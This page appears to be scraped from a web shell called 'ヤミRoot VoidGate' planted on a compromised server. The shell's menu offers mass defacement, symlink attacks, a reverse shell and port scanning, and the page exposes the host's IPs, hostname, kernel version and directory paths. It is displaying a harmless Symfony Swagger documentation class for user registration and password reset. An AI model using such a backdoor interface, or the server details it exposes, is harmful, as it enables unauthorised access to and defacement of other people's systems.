ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
fixtures
/
assert
/
Viewing: SwaggerDecoratorUser.php.tar
home/logercm/dev.loger.cm/src/Swagger/SwaggerDecoratorUser.php 0000644 00000012524 15120264230 0020406 0 ustar 00 <?php /** * Created by PhpStorm. * User: user * Date: 18/03/2021 * Time: 09:13 */ namespace App\Swagger; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Serializer\Normalizer\NormalizerInterface; final class SwaggerDecoratorUser implements NormalizerInterface { /** * NormalizerInterface */ private $decorated; public function __construct(NormalizerInterface $decorated) { $this->decorated = $decorated; } public function supportsNormalization($data, $format = null): bool { return $this->decorated->supportsNormalization($data, $format); } public function normalize($object, $format = null, array $context = []) { $docs = $this->decorated->normalize($object, $format, $context); $docs['components']['schemas']['userController'] = [ 'type' => 'object', 'properties' => [ 'firstName' => [ 'type' => 'string', 'example' => 'John', ], 'lastName' => [ 'type' => 'string', 'example' => 'Doe', ], 'phoneNumber' => [ 'type' => 'string', 'example' => 'Doe', ], 'email' => [ 'type' => 'string', 'example' => 'john.doe@yahoo.com', ], 'roles' => [ 'type' => 'string', 'example' => 'ROLE_USER', ], 'username' => [ 'type' => 'string', 'example' => 'test_user', ], 'plainPassword' => [ 'type' => 'string', 'example' => '123456789', ], ], ]; $docs['components']['schemas']['resettingPass'] = [ 'type' => 'object', 'properties' => [ 'oldPassword' => [ 'type' => 'string', 'example' => '123456789', ], 'newPassword' => [ 'type' => 'string', 'example' => '123456789', ], ], ]; /* * * $builder->add('lastName') ->add('firstName') ->add('email') ->add('username') ->add('password') ->add('plainPassword') ->add('roles') */ $tokenDocumentation = [ 'paths' => [ '/register' => [ 'post' => [ 'tags' => ['userController'], 'operationId' => 'postUserAction', 'summary' => 'Register New User.', 'requestBody' => [ 'description' => 'Create new User', 'content' => [ 'application/json' => [ 'schema' => [ '$ref' => '#/components/schemas/userController', ], ], ], ], 'responses' => [ Response::HTTP_OK => [ 'description' => 'Get User Info', 'content' => [ 'application/json' => [ 'schema' => [ '$ref' => '#/components/schemas/userController', ], ], ], ], ], ], ], '/resetting' => [ 'put' => [ 'tags' => ['userController'], 'operationId' => 'resetPasswordAction', 'summary' => 'reset Password User.', 'requestBody' => [ 'description' => 'reset Password User', 'content' => [ 'application/json' => [ 'schema' => [ '$ref' => '#/components/schemas/resettingPass', ], ], ], ], 'responses' => [ Response::HTTP_OK => [ 'description' => 'New User password ', 'content' => [ 'application/json' => [ 'schema' => [ '$ref' => '#/components/schemas/resettingPass', ], ], ], ], ], ], ], ], ]; return array_merge_recursive($docs, $tokenDocumentation); } }
Coded With 💗 by
0x6ick